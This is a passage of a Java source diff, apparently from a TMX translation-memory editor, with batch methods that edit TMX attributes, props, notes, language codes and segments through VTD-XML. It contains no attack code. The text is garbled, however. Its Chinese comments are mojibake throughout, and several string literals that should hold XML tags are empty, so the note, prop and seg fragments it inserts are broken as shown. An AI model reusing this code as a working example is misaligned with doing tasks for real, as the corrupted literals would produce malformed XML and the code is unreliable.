  • + * @author Austen + * @version + * @since JDK1.6 + */ + protected abstract class BatchModifyContext { + /** + * é历整个文档时使用的 xpath è¯­å¥ + * @return xpath 语å¥; + */ + abstract String getBaseXpath(); + + /** + * 将修改应用到“整个文件/记忆库†+ * @param vu + * {@link VTDUtils} 实例,已ç»å®šä½åˆ° getBaseXpath() 所指定的ä½ç½® + * @param xm + * {@link XMLModifier} 实例,已绑定 vu; + */ + abstract void modifyAllItems(VTDUtils vu, XMLModifier xm); + + /** + * 将修改应用到“新当å‰è¿‡æ»¤ç»“果†+ * @param vu + * {@link VTDUtils} 实例,已ç»å®šä½åˆ° getBaseXpath() 所指定的ä½ç½® + * @param xm + * {@link XMLModifier} 实例,已绑定 vu + * @param set + * è¿‡æ»¤ç»“æžœé›†åˆ + * @return 更新的节点数; + */ + abstract int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set); + + /** + * 在批é‡å¤„ç†ä¸€ä¸ªæ–‡ä»¶ä¹‹å‰ï¼Œå¦‚果需è¦ä¿®æ”¹ header,do it; + */ + void modifyHeader(VTDUtils vu, XMLModifier xm) { + } + } + + /** + * 批é‡ä¿®æ”¹æ–‡æ¡£ã€‚此方法主è¦å°è£… xpath 语å¥å¾ªçŽ¯ä»¥åŠ 进度æ¡æ˜¾ç¤ºï¼Œ
    + * 至于 fragment 以何ç§ä¿®æ”¹æ–¹å¼ä½“现文件中,请实现 {@link BatchModifyContext} 接å£ã€‚ + * @param monitor + * 进度æ¡æ”¯æŒ + * @param xpath + * xpath + * @param fragment + * 修改片段 + * @param filter + * 应用策略,如果为 {@link TeCoreConstant#FILTERID_allSeg} 则表示更新至整个文档,å¦åˆ™åªæ›´æ–°å½“å‰è¿‡æ»¤ç»“æžœ + * @param cxt + * 修改文档时使用的上下文, å‚è§ {@link BatchModifyContext}; + */ + private void batchModifyDocument(IProgressMonitor monitor, String fragment, String filter, + List filterIdentifier, BatchModifyContext cxt) { + // 进度æ¡æŒ‡æ ‡ + int works = 0;// éœ€å®Œæˆ + int count = 0;// 计数器 + int worked = 0;// å·²å®Œæˆ + + String xpath = cxt.getBaseXpath(); + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) {// 整个库 + monitor.beginTask(Messages.getString("core.fileAccess.applyChang2AllFile.taskname"), container + .getSubFiles().size()); + for (String subFile : container.getSubFiles()) { + VTDUtils vu = container.getVTDUtils(subFile); + try { + XMLModifier xm = new XMLModifier(vu.getVTDNav()); + cxt.modifyHeader(vu, xm); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath("count(" + xpath + ")"); + double total = ap.evalXPathToNumber();// 总数 + works = (int) (total > 100 ? 100 : total);// 总共工作数 + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1); + subMonitor.beginTask("", works + 1);// 加一的原因,ä¿å­˜æ—¶æš‚用 + + int tmp = 0; + ap.selectXPath(xpath); + while (ap.evalXPath() != -1) { + cxt.modifyAllItems(vu, xm); + tmp = (int) (count++ * 100 / total); + if (tmp > worked) { + subMonitor.worked(tmp - worked); + worked = tmp; + } + } + save2SubFile(subFile, vu, xm); + subMonitor.worked(1); + subMonitor.done(); + } catch (Exception e) { + LOGGER.error("", e); + } + + } + monitor.done(); + } else {// 当å‰è¿‡æ»¤ç»“æžœ + // 查询所有改动å­æ–‡ä»¶ï¼Œä»¥åŠ tu hsid + Map> subFileMap = new HashMap>(); + String[] subid = null; + List fileIndentiFier = filterIdentifier == null ? tuIdentifiers : filterIdentifier; + for (String identifier : fileIndentiFier) { + subid = identifier.split(TeCoreConstant.ID_MARK); + if (subFileMap.containsKey(subid[0])) { + subFileMap.get(subid[0]).add(subid[1]); + } else { + Set list = new HashSet(); + list.add(subid[1]); + subFileMap.put(subid[0], list); + } + } + + monitor.beginTask(Messages.getString("core.fileAccess.resetfilter.datas.taskname"), subFileMap.size()); + for (Entry> entry : subFileMap.entrySet()) { + String subFile = entry.getKey(); + Set hsidSet = entry.getValue(); + + int total = hsidSet.size(); + works = total > 100 ? 100 : total; + + IProgressMonitor subMonitor = new SubProgressMonitor(monitor, 1); + subMonitor.beginTask("", works + 1); + + VTDUtils vu = container.getVTDUtils(subFile); + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + XMLModifier xm = null; + try { + xm = new XMLModifier(vu.getVTDNav()); + ap.selectXPath(xpath); + int tmp = 0; + while (ap.evalXPath() != -1) { + if (cxt.modifyFilterItems(vu, xm, hsidSet) > 0) { + tmp = (int) (count++ * 100 / total); + if (tmp > worked) { + subMonitor.worked(tmp - worked); + worked = tmp; + } + } + } + save2SubFile(entry.getKey(), vu, xm); + subMonitor.worked(1); + subMonitor.done(); + } catch (Exception e) { + e.printStackTrace(); + } + } + monitor.done(); + } + setDirty(true); + } + + /** + * 清除选中行标记 + * @param selectTuIds + * ; + */ + public void clearSelectLinesInnerTag(IProgressMonitor monitor, final List selectTuIds) { + final String lowerCaseSrclang = super.currSrcLang.toLowerCase(); + final String lowerCaseTgtlang = super.currTgtLang.toLowerCase(); + batchModifyDocument(monitor, null, null, selectTuIds, new BatchModifyContext() { + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + if (null == set || set.isEmpty()) { + return 0; + } + + int count = 0; + try { + String hsId = vu.getCurrentElementAttribut("hsid", ""); + if (set.contains(hsId)) { + VTDNav vn = vu.getVTDNav(); + vn.push(); + String politSegXpath = "./tuv[lower-case(@xml:lang)='" + lowerCaseSrclang + + "' or lower-case(@xml:lang)='" + lowerCaseTgtlang + "']/seg"; + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath(politSegXpath); + while (ap.evalXPath() != -1) { + String oldContent = vu.getElementContent(); + StringBuffer sbrbt = new StringBuffer(); + sbrbt.append("").append(TmxInnerTagParser.getInstance().getTmxPureText(oldContent)) + .append(""); + xm.remove(); + xm.insertAfterElement(sbrbt.toString()); + } + vn.pop(); + count++; + } + } catch (NavException e) { + LOGGER.error("remove select line innertag erorr", e); + } catch (XPathParseException e) { + LOGGER.error("remove select line innertag erorr", e); + } catch (XPathEvalException e) { + LOGGER.error("remove select line innertag erorr", e); + } catch (ModifyException e) { + LOGGER.error("remove select line innertag erorr", e); + } catch (UnsupportedEncodingException e) { + e.printStackTrace(); + } + + return count; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + // do noting + } + + @Override + public String getBaseXpath() { + return "/tmx/body/tu"; + } + + }); + } + + /** + * @deprecated 除éžå…许在 tu 节点中添加属性,å¦åˆ™æ— éœ€ä½¿ç”¨æ­¤æ–¹æ³• + */ + public void batchAddTuAttr(IProgressMonitor monitor, final String name, String value, String filter) { + // do nothing + } + + @Override + public void batchUpdateTuAttr(IProgressMonitor monitor, String name, String value, String filter) { + + final String cleanName = TextUtil.cleanSpecialString(name); + final String cleanValue = value == null ? null : TextUtil.cleanSpecialString(value); + final String fragment = cleanValue == null ? null : " " + cleanName + "=\"" + cleanValue + "\""; + + batchModifyDocument(monitor, fragment, filter, null, new BatchModifyContext() { + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + VTDNav vn = vu.getVTDNav(); + if (vn.hasAttr(cleanName)) { + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./@" + cleanName); + int index = ap.evalXPath(); + if (index != -1) { + if (cleanValue == null) { + xm.removeAttribute(index); + } else { + xm.updateToken(index + 1, cleanValue); + } + } + vn.pop(); + } else if (fragment != null) { + xm.insertAttribute(fragment); + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + try { + String attr = vu.getCurrentElementAttribut("hsid", ""); + if (set.contains(attr)) { + VTDNav vn = vu.getVTDNav(); + vn.push(); + if (vn.hasAttr(cleanName)) { + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./@" + cleanName); + int index = ap.evalXPath(); + if (index != -1) { + if (cleanValue != null) { + xm.updateToken(index + 1, cleanValue); + } else { + xm.removeAttribute(index); + } + } + } else if (fragment != null) { + xm.insertAttribute(fragment); + } + vn.pop(); + return 1; + } + } catch (Exception e) { + e.printStackTrace(); + } + return 0; + } + + @Override + public String getBaseXpath() { + return "/tmx/body/tu"; + } + }); + setDirty(true); + } + + @Override + public void batchDeleteTuAttr(IProgressMonitor monitor, String name, String filter) { + batchUpdateTuAttr(monitor, name, null, filter); + } + + @Override + public void batchAddTmxProp(IProgressMonitor monitor, String type, String content, String filter) { + final String xpath = "/tmx/body/tu"; + final String clearType = TextUtil.cleanSpecialString(type); + final String clearContent = TextUtil.cleanSpecialString(content); + final String fragment = new StringBuffer("").append(clearContent) + .append("").toString(); + + batchModifyDocument(monitor, fragment, filter, null, new BatchModifyContext() { + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + try { + String attr = vu.getCurrentElementAttribut("hsid", ""); + if (set.contains(attr)) { + xm.insertAfterHead(fragment); + return 1; + } + } catch (Exception e) { + LOGGER.error("", e); + } + return 0; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + xm.insertAfterHead(fragment); + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public String getBaseXpath() { + return xpath; + } + }); + setDirty(true); + } + + @Override + public void batchUpdateTmxProp(IProgressMonitor monitor, final TmxProp prop, String propType, String content, + final String filter) { + + final String cleanPropType = propType == null ? null : TextUtil.cleanSpecialString(propType); + final String cleanContent = content == null ? null : TextUtil.cleanSpecialString(content); + + StringBuilder builder = new StringBuilder(); + builder.append("concat("); + builder.append(")"); + + final String oldCleanContent = TextUtil.cleanSpecialString(prop.getValue()); + + batchModifyDocument(monitor, null, filter, null, new BatchModifyContext() { + @Override + public String getBaseXpath() { + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) { + return "/tmx/body/tu/prop[@type=" + TextUtil.attributeValue(prop.getName()) + "]"; + } + return "/tmx/body/tu[prop[@type=" + TextUtil.attributeValue(prop.getName()) + "]]"; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + // type 相等已在 xpath 中过滤 + if (oldCleanContent.equals(vu.getElementContent())) {// 检测是å¦éœ€è¦æ›´æ–° + if (cleanPropType != null || cleanContent != null) { + xm.insertAfterElement(getNewFragment(vu.getElementHead())); + } + xm.remove();// 删除æ“作 + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + int hasmodify = 0; + try { + if (set.contains(vu.getCurrentElementAttribut("hsid", ""))) {// 检测是å¦åœ¨æ›´æ–°ä¹‹åˆ— + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + vu.getVTDNav().push(); + ap.selectXPath("./prop[@type=" + TextUtil.attributeValue(prop.getName()) + "]"); + String fragment = null; + while (ap.evalXPath() != -1) { + if (oldCleanContent.equals(vu.getElementContent())) {// 检测是å¦å«æœ‰éœ€æ›´æ–°èŠ‚点 + if (cleanPropType != null || cleanContent != null) { + fragment = getNewFragment(vu.getElementHead()); + xm.insertAfterElement(fragment); + } + xm.remove(); + hasmodify++; + } + } + vu.getVTDNav().pop(); + + } + } catch (Exception e) { + LOGGER.error("", e); + } + return hasmodify; + } + + private String getNewFragment(String header) { + String regex = "type\\s*=\\s*([\"']).*\\1"; + if (!prop.getName().equals(cleanPropType)) {// 是å¦æ›´æ”¹ type 属性 + header = header.replaceFirst(regex, cleanPropType == null ? "" : "type=\"" + cleanPropType + "\""); + } + return new StringBuffer(header).append(cleanContent == null ? "" : cleanContent).append("") + .toString(); + } + }); + prop.setName(propType); + prop.setValue(content); + } + + @Override + public void batchDeleteTmxProp(IProgressMonitor monitor, TmxProp prop, String filter) { + batchUpdateTmxProp(monitor, prop, null, null, filter); + } + @Override + public void batchDeleteTmxPropByType(IProgressMonitor monitor, String type, final String filter) { + + final String cleanPropType = TextUtil.cleanSpecialString(type); + final String all_xpath = "/tmx/body/tu/prop[@type=\"" + cleanPropType + "\"]"; + final String filter_xpath = "/tmx/body/tu[prop[@type=\"" + cleanPropType + "\"]]"; + batchModifyDocument(monitor, null, filter, null,new BatchModifyContext() { + @Override + public String getBaseXpath() { + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) { + return all_xpath; + } + return filter_xpath; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + xm.remove();// 删除æ“作 + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + int hasmodify = 0; + try { + if (set.contains(vu.getCurrentElementAttribut("hsid", ""))) {// 检测是å¦åœ¨æ›´æ–°ä¹‹åˆ— + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + vu.getVTDNav().push(); + ap.selectXPath("./prop[@type=\"" + cleanPropType + "\"]"); + while (ap.evalXPath() != -1) { + xm.remove(); + hasmodify++; + } + vu.getVTDNav().pop(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return hasmodify; + } + }); + } + + /** + * @deprecated 除éžå¯ä»¥åœ¨ tuv 节点中添加属性,å¦åˆ™ä¸é€‚用此方法。 + */ + public void batchAddTuvAttr(IProgressMonitor monitor, String name, String value, String lang, String filter) { + // do nothing + } + + @Override + public void batchUpdateTuvAttr(IProgressMonitor monitor, String name, String value, final List langs, + final String filter) { + + final String cleanName = TextUtil.cleanSpecialString(name); + final String cleanValue = value == null ? null : TextUtil.cleanSpecialString(value); + final String fragment = cleanValue == null ? null : " " + cleanName + "=\"" + cleanValue + "\""; + + final StringBuffer predicate = new StringBuffer(); + for (int i = 0; i < langs.size(); i++) { + if (i == langs.size() - 1) { + predicate.append("[lower-case(@xml:lang)=\"").append(langs.get(i).toLowerCase()).append("\"]"); + } else { + predicate.append("lower-case(@xml:lang)=\"").append(langs.get(i).toLowerCase()).append("\" or "); + } + } + + batchModifyDocument(monitor, fragment, filter, null, new BatchModifyContext() { + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + try { + String attr = vu.getCurrentElementAttribut("hsid", ""); + if (set.contains(attr)) { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath("./tuv" + predicate.toString()); + int index = -1; + while ((index = ap.evalXPath()) != -1) {// 定ä½åˆ° tuv çš„ 属性值 + if ((index = vn.getAttrVal(cleanName)) != -1) {// 有,则修改值 + if (cleanValue != null) { + xm.updateToken(index, cleanValue); + } else { + xm.removeAttribute(index - 1); + } + } else if (fragment != null) { + xm.insertAttribute(fragment); + } + } + ; + vn.pop(); + return 1; + } + } catch (Exception e) { + e.printStackTrace(); + } + return 0; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + VTDNav vn = vu.getVTDNav(); + if (vn.hasAttr(cleanName)) { + vn.push(); + AutoPilot ap = new AutoPilot(vn); + ap.selectXPath("./@" + cleanName); + int index = ap.evalXPath(); + if (index != -1) { + if (cleanValue == null) { + xm.removeAttribute(index); + } else { + xm.updateToken(index + 1, cleanValue); + } + } + vn.pop(); + } else if (fragment != null) { + xm.insertAttribute(fragment); + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public String getBaseXpath() { + StringBuffer buf = new StringBuffer("/tmx/body/tu[tuv"); + buf.append(predicate.toString()); + buf.append("]"); + String xpath = TeCoreConstant.FILTERID_allSeg.equals(filter) ? "/tmx/body/tu/tuv" : buf.toString(); + return xpath; + } + }); + } + + @Override + public void batchDeleteTuvAttr(IProgressMonitor monitor, String name, List langs, String filter) { + batchUpdateTuvAttr(monitor, name, null, langs, filter); + } + + /** + * 批é‡å¢žåŠ  note 节点,æ供进度æ¡æ”¯æŒã€‚ + * @param monitor + * 进度æ¡; + * @param content + * 节点内容; + * @param filter + * 增加策略:如果为{@link TeCoreConstant#FILTERID_allSeg}则更新整个文件/记忆库,å¦åˆ™æ›´æ–°å½“å‰è¿‡æ»¤ç»“æžœ; + */ + @Override + public void batchAddTmxNote(IProgressMonitor monitor, String content, final String filter) { + final String xpath = "/tmx/body/tu"; + final String fragment = "" + TextUtil.cleanSpecialString(content) + ""; + batchModifyDocument(monitor, fragment, filter, null, new BatchModifyContext() { + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + xm.insertAfterHead(fragment); + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + try { + String attr = vu.getCurrentElementAttribut("hsid", ""); + if (set.contains(attr)) { + xm.insertAfterHead(fragment); + return 1; + } + } catch (Exception e) { + LOGGER.error("", e); + } + return 0; + } + + @Override + public String getBaseXpath() { + return xpath; + } + }); + setDirty(true); + } + + /** + * 批é‡æ›´æ–° note 内容。影å“范围:所有åŠèŠ‚点内容 equals(content) çš„ note 节点。 + * @param monitor + * 进度æ¡æ”¯æŒ + * @param oldContent + * 原内容 + * @param newcontent + * 新内容,为空时删除此节点。 + * @param filter + * 修改策略:如果为{@link TeCoreConstant#FILTERID_allSeg}则更新整个文件/记忆库,å¦åˆ™æ›´æ–°å½“å‰è¿‡æ»¤ç»“æžœ; + */ + @Override + public void batchUpdateTmxNote(IProgressMonitor monitor, String oldContent, String newcontent, final String filter) { + + final String oldCleanContent = TextUtil.cleanSpecialString(oldContent); + final String newCleanContent = newcontent == null ? null : TextUtil.cleanSpecialString(newcontent); + + this.batchModifyDocument(monitor, null, filter, null, new BatchModifyContext() { + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + int hasModify = 0; + String newFragment = null; + try { + String attr = vu.getCurrentElementAttribut("hsid", ""); + if (set.contains(attr)) {// 检测是在更新之列 + AutoPilot ap = new AutoPilot(vu.getVTDNav()); + vu.getVTDNav().push(); + ap.selectXPath("./note"); + while (ap.evalXPath() != -1) { + if (oldCleanContent.equals(vu.getElementContent())) {// 检测是å¦å«æœ‰éœ€æ›´æ–°èŠ‚点 + newFragment = newCleanContent == null ? null : new StringBuffer(vu.getElementHead()) + .append(newCleanContent).append("
    ").toString(); + if (newFragment != null) { + xm.insertAfterElement(newFragment); + } + xm.remove(); + hasModify++; + } + } + vu.getVTDNav().pop(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + return hasModify; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + if (oldCleanContent.equals(vu.getElementContent())) {// 是å¦æ˜¯éœ€æ›´æ–°çš„ note + String newFragment = newCleanContent == null ? null : new StringBuffer(vu.getElementHead()) + .append(newCleanContent).append("
    ").toString(); + if (newFragment != null) { + xm.insertAfterElement(newFragment); + } + xm.remove(); + } + } catch (Exception e) { + LOGGER.error("", e); + } + } + + @Override + public String getBaseXpath() { + if (TeCoreConstant.FILTERID_allSeg.equals(filter)) { + return "/tmx/body/tu/note"; + } else { + return "/tmx/body/tu[note]"; + } + } + }); + } + + /** + * åˆ é™¤ç›¸åŒ content 的批注 + * @param monitor + * @param content + * ; + */ + @Override + public void batchDeleteTmxNote(IProgressMonitor monitor, String content, String filter) { + batchUpdateTmxNote(monitor, content, null, filter); + } + + /** + * 批é‡åˆ é™¤æŒ‡å®šè¯­è¨€ä»£ç  + * @author austen + * @param langs + * 需è¦åˆ é™¤çš„语言代ç é›†åˆ; + * @param monitor + * è¿›åº¦æ¡ + */ + public void batchdeleteTuvBylang(final List langs, IProgressMonitor monitor) { + final List deleteLangs = new LinkedList(); + for (String str : langs) { + deleteLangs.add(str.toLowerCase()); + } + + batchModifyDocument(monitor, null, TeCoreConstant.FILTERID_allSeg, null, new BatchModifyContext() { + + @Override + int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + return 0; + } + + @Override + void modifyAllItems(VTDUtils vu, XMLModifier xm) { + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + try { + vn.push(); + String lang = null; + ap.selectXPath("./tuv/@xml:lang"); + if (ap.evalXPathToBoolean()) { + lang = "xml:lang"; + } else { + ap.selectXPath("./tuv/@lang"); + if (ap.evalXPathToBoolean()) { + lang = "lang"; + } + } + if (lang == null) { + vn.pop(); + return; + } + int total = 0; + ap.selectXPath("count(./tuv)"); + total = (int) ap.evalXPathToNumber(); + int count = 0; + for (String lowcase : deleteLangs) { + vn.push(); + ap.selectXPath("./tuv[lower-case(@" + lang + ")='" + lowcase + "']"); + if (ap.evalXPath() != -1) { + xm.remove(); + count++; + } + vn.pop(); + } + if (total - 1 == count) { + xm.remove(); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + } finally { + vn.pop(); + } + } + + @Override + String getBaseXpath() { + return "/tmx/body/tu"; + } + }); + + container.getAllLanguages(false).removeAll(langs); + super.langList.removeAll(langs); + if (langs.contains(currTgtLang) && langList.size() != 0) { + currTgtLang = langList.get(0); + } + monitor.done(); + } + + /** + * 批é‡ä¿®æ”¹è¯­è¨€ä»£ç  + * @param map + * 存放需è¦ä¿®æ”¹çš„语言代ç ï¼Œ
  • key:æºè¯­è¨€ä»£ç 
  • value:修改åŽçš„语言代ç 
  • 注æ„此处存放的å‡ä¸ºæ ‡å‡†è¯­è¨€ä»£ç  + * @param monitor + * 进度æ¡æ”¯æŒ + */ + public void batchModifyLangcode(final Map map, IProgressMonitor monitor) { + final List cLangs = container.getAllLanguages(false); + batchModifyDocument(monitor, null, TeCoreConstant.FILTERID_allSeg, null, new BatchModifyContext() { + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + // do nothing + return 0; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + VTDNav vn = vu.getVTDNav(); + vn.push(); + try { + int langIndex = -1; + String lang = null; + AutoPilot ap = new AutoPilot(vn); + ap.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + ap.selectXPath("./@xml:lang"); + if ((langIndex = ap.evalXPath()) != -1) { + lang = vn.toRawString(langIndex + 1); + } else { + ap.selectXPath("./@lang"); + if ((langIndex = ap.evalXPath()) != -1) { + lang = vn.toRawString(langIndex + 1); + } + } + // æ ‡å‡†ç  + String oldlang = null; + if (lang == null || !map.containsKey(oldlang = LanguageUtils.convertLangCode(lang))) { + vn.pop(); + return; + } + + String newLang = map.get(oldlang); + if (oldlang.equalsIgnoreCase(currSrcLang)) { + currSrcLang = newLang; + } else if (oldlang.equalsIgnoreCase(currTgtLang)) { + currTgtLang = newLang; + } + + if (cLangs.remove(oldlang)) { + cLangs.add(newLang); + } + xm.updateToken(langIndex + 1, newLang); + } catch (Exception e) { + e.printStackTrace(); + } finally { + vn.pop(); + } + } + + @Override + public String getBaseXpath() { + return "/tmx/body/tu/tuv"; + } + + @Override + void modifyHeader(VTDUtils vu, XMLModifier xm) { + String lang = LanguageUtils.convertLangCode(currSrcLang); + if (map.containsKey(lang)) { + VTDNav vn = vu.getVTDNav(); + vn.push(); + AutoPilot ap = new AutoPilot(vn); + try { + ap.selectXPath("/tmx/header/@srclang"); + if (ap.evalXPath() != -1) { + xm.updateToken(vn.getCurrentIndex() + 1, map.get(lang)); + } + } catch (Exception e) { + LOGGER.error(e.getMessage(), e); + e.printStackTrace(); + } + vn.pop(); + } + } + }); + super.langList.clear(); + super.langList.addAll(cLangs); + super.langList.remove(currSrcLang); + container.getTmxHeader().setSrclang(currSrcLang); + } + + /** + * 清ç†å†…部标记,所有的内部标记。 + * @param monitor + * ; + */ + public void cleanDisplayTuInnerTag(IProgressMonitor monitor) { + batchModifyDocument(monitor, null, TeCoreConstant.FILTERID_allSeg, null, new BatchModifyContext() { + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + // do nothing + return 0; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + try { + String oldContent = vu.getElementContent(); + if (oldContent.indexOf("<") != -1) { + StringBuffer sbrbt = new StringBuffer(); + sbrbt.append(vu.getElementHead()) + .append(TmxInnerTagParser.getInstance().getTmxPureText(oldContent)).append(""); + xm.remove(); + xm.insertAfterElement(sbrbt.toString()); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + @Override + public String getBaseXpath() { + return "/tmx/body/tu/tuv/seg"; + } + }); + } + + public void batchTrimSegs(IProgressMonitor monitor) { + + batchModifyDocument(monitor, null, null, null, new BatchModifyContext() { + + @Override + public int modifyFilterItems(VTDUtils vu, XMLModifier xm, Set set) { + try { + String content = vu.getElementContent(); + String trimContent = content.trim(); + if (trimContent.length() != content.length()) { + xm.remove(); + xm.insertAfterElement(new StringBuffer(vu.getElementHead()).append(trimContent) + .append("").toString()); + } + } catch (Exception e) { + e.printStackTrace(); + } + return 0; + } + + @Override + public void modifyAllItems(VTDUtils vu, XMLModifier xm) { + // do nothing + } + + @Override + public String getBaseXpath() { + return "/tmx/body/tu/tuv/seg"; + } + }); + + } + + /** + * 删除空行 ; + */ + public boolean deleteTgtEmpty(IProgressMonitor monitor, boolean ignoreTag) { + final int deleteTU = 0; + final int deleteTgtTuv = 1; + final int deleteSrcTuv = 2; + List subFiles = container.getSubFiles(); + boolean hasDirty = false; + monitor.beginTask("", subFiles.size() * 100); + monitor.setTaskName(Messages.getString("core.fileAccess.delete.empty.tasknmae")); + for (String subFile : subFiles) { + SubProgressMonitor subMonitor = new SubProgressMonitor(monitor, 100); + + VTDUtils vu = container.getVTDUtils(subFile); + VTDNav vn = vu.getVTDNav(); + AutoPilot ap = new AutoPilot(vn); + AutoPilot tuCountAp = new AutoPilot(vn); + + AutoPilot tuvCountAp = new AutoPilot(vn); + AutoPilot tuvTgtAp = new AutoPilot(vn); + tuvTgtAp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + + AutoPilot tuvSrcAp = new AutoPilot(vn); + tuvSrcAp.declareXPathNameSpace("xml", VTDUtils.XML_NAMESPACE_URL); + int deleteFlag = -1; + try { + tuCountAp.selectXPath("count(/tmx/body/tu)"); + int tuCount = (int) tuCountAp.evalXPathToNumber(); + subMonitor.beginTask("", tuCount); + XMLModifier xm = new XMLModifier(vn); + ap.selectXPath("/tmx/body/tu"); + tuvCountAp.selectXPath("count(./tuv)"); + tuvTgtAp.selectXPath("./tuv[lower-case(@xml:lang)='" + super.currTgtLang.toLowerCase() + "']/seg"); + tuvSrcAp.selectXPath("./tuv[lower-case(@xml:lang)='" + super.currSrcLang.toLowerCase() + "']"); + while (ap.evalXPath() != -1) { + subMonitor.worked(1); + deleteFlag = -1;// init flag + tuvCountAp.resetXPath(); + int childCount = (int) tuvCountAp.evalXPathToNumber(); + + if (childCount == 0) {// 1ã€å¦‚果没有tuv节点,删除整个TU + hasDirty = true; + xm.remove(vn.getElementFragment()); + continue; + } + + vn.push();// 开始导航到SRC——tuv + boolean hasSrcTuv = false; + tuvSrcAp.resetXPath(); + if (tuvSrcAp.evalXPath() != -1) { + hasSrcTuv = true; + } + vn.pop(); + if (!hasSrcTuv) { + continue; + } + + if (1 == childCount) { // 2ã€æœ‰æºèŠ‚点,但是没有目标节点 ,删除整个TU + deleteFlag = deleteTU; + } else if (2 == childCount) { + vn.push(); + String elementPureText = null; + tuvTgtAp.resetXPath(); + if (tuvTgtAp.evalXPath() != -1) { + String fullText = vu.getElementContent(); + elementPureText = ignoreTag ? TmxInnerTagParser.getInstance().getTmxPureText(fullText) + : fullText; + } + if (null != elementPureText && elementPureText.trim().isEmpty()) { // fix bug + deleteFlag = deleteTU; + } + vn.pop(); + } else if (3 <= childCount) { + + vn.push(); + String elementPureText = null; + tuvTgtAp.resetXPath(); + if (tuvTgtAp.evalXPath() != -1) { + String fullText = vu.getElementContent(); + elementPureText = ignoreTag ? TmxInnerTagParser.getInstance().getTmxPureText(fullText) + : fullText; + } + /* + * if (null == elementPureText) { deleteFlag = deleteSrcTuv; } else if + * (elementPureText.trim().isEmpty()) { deleteFlag = deleteTgtTuv; } + */// fix bug + if (null != elementPureText && elementPureText.trim().isEmpty()) { + deleteFlag = deleteTgtTuv; + } + vn.pop(); + + } + + // : delete tu by flag + vn.push(); + if (deleteFlag == deleteTU) { + xm.remove(vn.getElementFragment()); + hasDirty = true; + } else if (deleteFlag == deleteTgtTuv) { + tuvTgtAp.resetXPath(); + if (tuvTgtAp.evalXPath() != -1) { + vn.toElement(VTDNav.PARENT); + xm.remove(vn.getElementFragment()); + hasDirty = true; + } + + } else if (deleteFlag == deleteSrcTuv) { + tuvSrcAp.resetXPath(); + if (tuvSrcAp.evalXPath() != -1) { + xm.remove(vn.getElementFragment()); + hasDirty = true; + } + } + vn.pop(); + } + + save2SubFile(subFile, vu, xm); + subMonitor.done(); + + } catch (XPathParseException e) { + e.printStackTrace(); + } catch (XPathEvalException e) { + e.printStackTrace(); + } catch (NavException e) { + e.printStackTrace(); + } catch (ModifyException e) { + e.printStackTrace(); + } finally { + subMonitor.done(); + } + } + monitor.done(); + return hasDirty; + } + + /** + * 删除é‡å¤æ–‡æœ¬æ®µ 删除é‡å¤çš„TU,原文和译文相åŒã€‚删除时如果TU中åªæœ‰2个TUV,则直接删除TU;如果TU中有超过2个TUV则åªåˆ é™¤å½“å‰TUV ä¿ç•™æœ€æ–°çš„TUV + * @return ; + */ + public boolean deleteDupaicate(IProgressMonitor monitor, boolean ignoreTag, boolean ignoreCase) { + monitor.beginTask("", 100); + SubProgressMonitor subFilerJob = new SubProgressMonitor(monitor, 40); + 